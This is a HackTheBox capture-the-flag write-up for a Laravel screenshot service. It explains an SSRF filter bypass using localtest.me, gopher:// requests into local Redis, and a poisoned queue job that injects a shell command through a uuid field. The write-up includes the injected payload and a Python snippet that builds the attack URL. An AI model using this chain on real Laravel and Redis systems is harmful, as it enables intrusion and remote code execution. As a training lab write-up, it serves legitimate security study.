$ cat writeup.md…
$ cat writeup.md…
HackTheBox
Task: a Laravel 10 screenshot/source-view service exposes SSRF in `/api/get-html` because localhost filtering only checks literal IPv4 hosts. Solution: use `localtest.me` plus `gopher://` to push a malicious Redis queue job and reach command injection in `rmFile`, then copy `/flag` into the web root.
New screenshot service just dropped! They talk alot but can they hack it?
This challenge provides a Laravel 10 / PHP 8.1 service with two user-facing features: fetching page source and generating screenshots. The intended path is not the screenshot feature, but the HTML fetcher behind POST /api/get-html.
The application tried to prevent SSRF by rejecting literal localhost IPv4 hosts and by requiring a domain with DNS records. That check was incomplete: it never resolved the hostname and verified the resulting IP. Using localtest.me as a localhost alias let me reach local Redis via gopher://, enqueue a malicious Laravel job, and trigger command injection in App\Jobs\rmFile.
The relevant routes were:
GET /POST /api/get-htmlPOST /api/getssInitial testing showed that POST /api/get-html successfully fetched normal remote content such as http://example.com, so this endpoint was a good SSRF candidate.
The screenshot path was a dead end. It relied on external screenshotmachine.com, so it was not the intended local attack surface.
I also briefly considered Laravel Ignition/debug-style issues, but that was unnecessary here.
/api/get-htmlThe vulnerable logic was in validateUrl():
private function validateUrl($url) { $parsedUrl = parse_url($url); if (!isset($parsedUrl['host'])) return false; if ($this->isValidIPv4($parsedUrl['host']) && $this->isLocalIP($parsedUrl['host'])) { return false; } if (!$this->isValidDomain($parsedUrl['host'])) { return false; } return true; }
This only blocked a host if it was a literal IPv4 string and local. It did not resolve a hostname and then check whether the resolved address was loopback or private.
That made localtest.me perfect:
127.0.0.1.So a URL like gopher://localtest.me:6379/... passed validation and still hit localhost.
getHtmlResp() accepted gopher://The HTML fetcher used cURL on an attacker-controlled URL, and gopher:// was accepted. That turned the SSRF into a raw TCP primitive suitable for speaking Redis.
The application used a Redis-backed Laravel queue. The important queue key was:
laravel_database_queues:default
The queue payload format was verified from Laravel internals. The job object needed:
job = Illuminate\\Queue\\CallQueuedHandler@callApp\Jobs\rmFile object in data.commandThe final sink was:
public function deleteFile() { $filepath = $this->buildFilePath(); system("rm ".$filepath); } public function buildFilePath(): string { $filename = $this->uuid.".".$this->ext; if ($this->ext === "txt") { $this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/src", $filename]); } return $this->filePath; }
Because buildFilePath() directly concatenated uuid and ext, a crafted object could inject shell metacharacters through uuid.
I used:
uuid = "x; cp /flag /www/public/flag.txt #" ext = "txt"
This produced an effective command like:
rm /www/public/src/x; cp /flag /www/public/flag.txt #.txt
The trailing # commented out the appended .txt.
The full bug chain was:
/api/get-html let me supply an arbitrary URL.validateUrl() blocked only literal local IPv4 strings.localtest.me resolved to 127.0.0.1, bypassing that check.gopher://, so SSRF could speak Redis.App\Jobs\rmFile.system("rm ".$filepath) gave command injection./flag into /www/public/flag.txt.The Laravel queue payload was a JSON object like this:
{ "displayName": "App\\Jobs\\rmFile", "job": "Illuminate\\Queue\\CallQueuedHandler@call", "data": { "commandName": "App\\Jobs\\rmFile", "command": "O:15:\"App\\Jobs\\rmFile\":1:{...}" } }
The serialized command contained an App\Message\FileQueue object with the injected uuid value.
The Redis side was just an RPUSH into the queue key, encoded into a gopher:// URL:
RPUSH laravel_database_queues:default <job_json> QUIT
In Python, the core idea looked like:
resp = resp_command("RPUSH", "laravel_database_queues:default", job_json) resp += resp_command("QUIT") gopher_url = f"gopher://localtest.me:6379/_{quote(resp, safe='')}"
QUIT matteredOne subtle point caused a lot of confusion on the live target.
My first raw Redis gopher attempts looked like failures even though the payload itself was correct. The reason was that Redis kept the connection open, so /api/get-html did not behave as a clean success from the application's point of view.
Adding a RESP QUIT command fixed that. After appending QUIT, the endpoint returned success and the saved source file contained:
+PONG +OK
That was the proof that SSRF to Redis was real and working. Without QUIT, it was easy to wrongly assume that gopher or Redis access was blocked.
/api/get-html worksSending POST /api/get-html with http://example.com succeeded, confirming the endpoint could fetch remote content.
I sent a gopher URL to localtest.me:6379 containing Redis PING followed by QUIT. The saved source file showed +PONG and +OK, confirming SSRF into local Redis.
The exploit script created a serialized App\Jobs\rmFile object whose nested FileQueue.uuid field contained:
x; cp /flag /www/public/flag.txt #
The payload was wrapped in a Laravel queue JSON envelope and pushed to:
laravel_database_queues:default
using RPUSH over gopher://.
After a short wait, the Redis-backed worker picked up the job and executed the injected shell command.
Once the command copied /flag into the public web root, I fetched:
/flag.txt
and got the flag.
This is the key part of the working script:
def build_command_object(command: str) -> str: injected_uuid = f"x; {command} #" file_queue = php_object( "App\\Message\\FileQueue", [ ("filePath", php_null()), ("uuid", php_string(injected_uuid)), ("ext", php_string("txt")), ], ) return php_object("App\\Jobs\\rmFile", [("fileQueue", file_queue)]) def build_gopher_url(command: str): command_object = build_command_object(command) job_json = build_job_json(command_object) resp = resp_command("RPUSH", "laravel_database_queues:default", job_json) resp += resp_command("QUIT") return f"gopher://localtest.me:6379/_{urllib.parse.quote(resp, safe='')}"
/api/getss was not the intended path.QUIT was misleading and looked broken.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar